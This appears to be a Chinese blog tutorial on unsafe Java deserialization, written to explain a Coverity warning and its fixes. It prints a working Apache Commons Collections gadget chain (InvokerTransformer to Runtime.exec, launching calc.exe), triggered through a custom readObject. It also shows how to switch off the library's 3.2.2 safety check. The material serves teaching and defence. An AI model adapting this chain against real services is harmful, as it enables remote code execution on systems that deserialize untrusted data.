热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【序列化】UNSAFE_DESERIALIZATION不安全的反序列化和反序列化漏洞

文章目录UnsafeDeserialization反序列化漏洞背景认识Java序列化与反序列化用途应用场景Java中的API实现:序列化基础类型参数序列化对象漏洞是怎么来的呢?解决

文章目录

    • Unsafe Deserialization
    • 反序列化漏洞
      • 背景
      • 认识Java序列化与反序列化
        • 用途
        • 应用场景
        • Java中的API实现:
          • 序列化基础类型参数
          • 序列化对象
      • 漏洞是怎么来的呢?
    • 解决方案

注意:本文例子都是在JDK1.8下跑的

Unsafe Deserialization

进行代码检查时,Coverity工具在进行json转换时,报Unsafe Deserialization错误,字面意思是不安全的反序列化,根本原因就是反序列化会有漏洞导致的。

《【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞》
看完下文反序列化漏洞的原理后,我们就知道该如何解决这个问题了。

反序列化漏洞

背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前,针对这个”2015年最被低估”的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

认识Java序列化与反序列化

用途

  • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  • 在网络上传送对象的字节序列。

应用场景

  • 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  • 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

Java中的API实现:

序列化基础类型参数

位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

序列化:  ObjectOutputStream类 –> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 –> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "ls "; //原始字符串,供写入文件用
// 将序列化对象写入文件object.txt中
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.txt中读取数据
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
System.out.println(obj2); //输出ls ,证明读取的就是当初写入的字符串对象
ois.close();
}
}

我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

序列化对象

实现SerializableExternalizable接口的类的对象才能被序列化。

Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

我们来看个Serializable接口例子,采用默认的序列化方式:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.text.MessageFormat;
class Person implements Serializable {
// 序列化ID
private static final long serialVersionUID = -5809782578272943999L;
private int age; //省略get,set方法
private String name; //省略get,set方法
private String sex; //省略get,set方法
}
public class SerializeDeserialize_readObject {
public static void main(String[] args) throws Exception {
SerializePerson();// 序列化Person对象
Person p = DeserializePerson();// 反序列Perons对象
System.out.println(MessageFormat.format("name={0},age={1},sex={2}", p.getName(),
p.getAge(), p.getSex()));
}
/** * 序列化Person对象 */
private static void SerializePerson() throws FileNotFoundException, IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("男");
// ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
/** * 反序列Perons对象 */
private static Person DeserializePerson() throws Exception, IOException {
FileInputStream fis = new FileInputStream("Person.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
Person person = (Person) ois.readObject();
ois.close();
System.out.println("Person对象反序列化成功!");
return person;
}

漏洞是怎么来的呢?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

我们来看个例子,在windows上执行时会弹出计算器,作用是举例说明java调用本地的应用程序,模拟一种攻击效果,后续基于此例子,演示序列化时触发攻击:

引入commons-collections 3.2.2

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class MapTest {
public static void main(String[] args) {
Map map = new HashMap();
map.put("key", "value");
// 调用系统的计算器命令
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };

Transformer transformer = new ChainedTransformer(transformers);
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer); //调用封装方法
for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
System.out.println(entry);
entry.setValue("anything"); //value值发生变化,触发Transformer
}
}
}

我们来分析上面代码的原理:

  • TransformedMap.java
    Apache Commons Collections包下的类,实现了Map接口(通过父接口间接实现),作用是封装一个普通的map,可以根据一定的规则,转换map内的对象。

    TransformedMap.decorate()方法,是个static方法,可以封装普通map,该方法有三个参数。

    • 第一个参数为待转化的Map对象

    • 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)

    • 第三个参数为Map对象内的value要经过的转化方法

      上面的例子中,我们只对value做了特殊处理,对key传参null

  • Transformer.java
    声明接口,实现类都具备把一个对象转化为另一个对象的功能

    • ConstantTransformer
      把一个对象转化为常量,并返回
    • InvokerTransformer.java
      InvokerTransformerTransformer的具体实现,该类通过反射,返回一个结果。transform()方法接收一个对象,然后对该对象调用进行invoke(反射),反射的目标方法正是构造函数的入参methodName(String类型)

    //构造函数,正好是反射需要用到的,入参为方法名称等
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }
    public Object transform(Object input) { //入参input
    if (input == null) {
    return null;
    }
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes); //反射的目标是methodName
    return method.invoke(input, iArgs); //调用反射

    }

  • ChainedTransformer
    多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令&#8221;&#8221;。依次调用关系为: Runtime &#8211;> getRuntime &#8211;> exec()

简单来说,上面代码的目的等价于下面的简写形式,只不过是为了模拟一种隐蔽的案例:

public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc.exe");

上例例子目的是通过map的setValue() 触发一种攻击效果,下面就考虑在序列化时,如果也会调用map的setValue()的话,那么也会触发攻击。

思考

目前的构造还需要依赖于调用Map中的setValue()触发 ,怎样才能在调用readObject()方法时直接触发执行呢?

答案:如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,我么就可以实现攻击目标。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
class PersonBean implements Serializable {
private static final long serialVersionUID = 1L;
private Map<String, Object> map; //有个map成员
private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException { //自定义反序列化实现
Map<String, Object> map = (Map) is.readObject();
for (Map.Entry<String, Object> entry : map.entrySet()) {
if ("hello".equals(entry.getValue())) {
entry.setValue(entry.getValue() + " world"); //触发setValue,拼接字符串
}
}
}
public Map<String, Object> getMap() {
return map;
}
public void setMap(Map<String, Object> map) {
this.map = map;
}
}
public class MapTest2 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
BeforeTransformerMap.put("hello", "hello"); //原始map
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null,
transformedChain); //经过transformedChain处理的map
PersonBean person = new PersonBean();
person.setMap(AfterTransformerMap); //构建person对象
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(person); //序列化
out.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
ois.readObject(); //反序列化
ois.close();
}
}

例子中只重写了readObject(),一般都是成对重写的,因为涉及到写入内容和读取内容的顺序,这个例子只是演示,并且不设置读取顺序。详细约束可以参考其他文章

PersonBean 是我们构造的,并且自定义了 readObject(),并且触发了危险调用的代码。如果我们的应用程序中存在类似 PersonBean 的话,那么说明就有风险。不幸的是,确实存在,AnnotationInvocationHandler类就是:

//位于rt.jar包中,这个是1.6版本反编译的
class AnnotationInvocationHandler implements InvocationHandler, Serializable { //继承了Serializable
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
for (Map.Entry<String, Object> entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = map.get(str);
if (clazz != null) {
Object object = entry.getValue();
if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember(annotationType.members().get(str))); //entry.setValue重新赋值
}

注意:AnnotationInvocationHandler 的源码是1.6的,是为了说明setValue(),而1.8版本该方法重构了,和之前版本大不一样,找不到setValuele 。并且按照原文的例子,可以用AnnotationInvocationHandler 触发业务场景的,但是我没有成功。

后续:经过学习,得知Collections包需要在3.1版本之前,可以复现AnnotationInvocationHandler触发计算器的例子,3.1版本是存在攻击漏洞的版本,后续版本已经修复或加以保护。

注意:由于Apache Commons Collections在 3.2.2版本进行了修复,因此需要设置:

System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

否则会报如下错误 org.apache.commons.collections.enableUnsafeSerialization

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

原因是 org.apache.commons.collections.functors.FunctorUtils 类中新增加检查属性配置代码如下:

private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
is.defaultReadObject();
}

解决方案

1.更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

注意仅仅增加检查开关,并不是真正意义上的解决,如果关闭开关,仍然会有风险。

2.NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。


推荐阅读
  • Java Web开发中的JSP:三大指令、九大隐式对象与动作标签详解
    在Java Web开发中,JSP(Java Server Pages)是一种重要的技术,用于构建动态网页。本文详细介绍了JSP的三大指令、九大隐式对象以及动作标签。三大指令包括页面指令、包含指令和标签库指令,它们分别用于设置页面属性、引入其他文件和定义自定义标签。九大隐式对象则涵盖了请求、响应、会话、应用上下文等关键组件,为开发者提供了便捷的操作接口。动作标签则通过预定义的动作来简化页面逻辑,提高开发效率。这些内容对于理解和掌握JSP技术具有重要意义。 ... [详细]
  • 在搭建Hadoop集群以处理大规模数据存储和频繁读取需求的过程中,经常会遇到各种配置难题。本文总结了作者在实际部署中遇到的典型问题,并提供了详细的解决方案,帮助读者避免常见的配置陷阱。通过这些经验分享,希望读者能够更加顺利地完成Hadoop集群的搭建和配置。 ... [详细]
  • 为了评估精心优化的模型与策略在实际环境中的表现,Google对其实验框架进行了全面升级,旨在实现更高效、更精准和更快速的在线测试。新的框架支持更多的实验场景,提供更好的数据洞察,并显著缩短了实验周期,从而加速产品迭代和优化过程。 ... [详细]
  • CentOS 7环境下Jenkins的安装与前后端应用部署详解
    CentOS 7环境下Jenkins的安装与前后端应用部署详解 ... [详细]
  • 本文探讨了利用Java实现WebSocket实时消息推送技术的方法。与传统的轮询、长连接或短连接等方案相比,WebSocket提供了一种更为高效和低延迟的双向通信机制。通过建立持久连接,服务器能够主动向客户端推送数据,从而实现真正的实时消息传递。此外,本文还介绍了WebSocket在实际应用中的优势和应用场景,并提供了详细的实现步骤和技术细节。 ... [详细]
  • 在PHP的设计中,预定义了9个超级全局变量、8个魔术变量和13个魔术函数,这些变量和函数无需声明即可在脚本的任意位置使用。这些特性在PHP开发中极为常见,能够显著提升开发效率和代码的灵活性。相比之下,Java并没有类似的内置机制,但通过其他方式如上下文对象和反射机制,也可以实现类似的功能。本文将详细探讨这两种语言中这些特殊变量和函数的使用方法及其应用场景。 ... [详细]
  • 公司计划部署邮件服务器,考虑到已有域名,决定自行搭建内部邮件服务器。经过综合考量,最终选择在Linux环境中进行搭建,并记录了相关配置和实践过程。本文将详细介绍Postfix的基本设置步骤和实践经验,帮助读者快速掌握邮件服务器的搭建方法。 ... [详细]
  • 深入解析Spring Boot启动过程中Netty异步架构的工作原理与应用
    深入解析Spring Boot启动过程中Netty异步架构的工作原理与应用 ... [详细]
  • Java集合框架特性详解与开发实践笔记
    Java集合框架特性详解与开发实践笔记 ... [详细]
  • 本文详细介绍了在Windows XP系统中安装和配置Unix打印服务的方法,以支持远程行式打印机(LPR)功能。对于同时使用Windows 2000 Server打印服务器和Unix打印服务器的网络环境,该指南提供了实用的步骤和配置建议,确保不同平台之间的兼容性和高效打印。 ... [详细]
  • MySQL索引详解及其优化策略
    本文详细解析了MySQL索引的概念、数据结构及管理方法,并探讨了如何正确使用索引以提升查询性能。文章还深入讲解了联合索引与覆盖索引的应用场景,以及它们在优化数据库性能中的重要作用。此外,通过实例分析,进一步阐述了索引在高读写比系统中的必要性和优势。 ... [详细]
  • Node.js 配置文件管理方法详解与最佳实践
    本文详细介绍了 Node.js 中配置文件管理的方法与最佳实践,涵盖常见的配置文件格式及其优缺点,并提供了多种实用技巧和示例代码,帮助开发者高效地管理和维护项目配置,具有较高的参考价值。 ... [详细]
  • Linux入门教程第七课:基础命令与操作详解
    在本课程中,我们将深入探讨 Linux 系统中的基础命令与操作,重点讲解网络配置的相关知识。首先,我们会介绍 IP 地址的概念及其在网络协议中的作用,特别是 IPv4(Internet Protocol Version 4)的具体应用和配置方法。通过实际操作和示例,帮助初学者更好地理解和掌握这些基本技能。 ... [详细]
  • TypeScript 实战分享:Google 工程师深度解析 TypeScript 开发经验与心得
    TypeScript 实战分享:Google 工程师深度解析 TypeScript 开发经验与心得 ... [详细]
  • 如果程序使用Go语言编写并涉及单向或双向TLS认证,可能会遭受CPU拒绝服务攻击(DoS)。本文深入分析了CVE-2018-16875漏洞,探讨其成因、影响及防范措施,为开发者提供全面的安全指导。 ... [详细]
author-avatar
翁向军_943
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有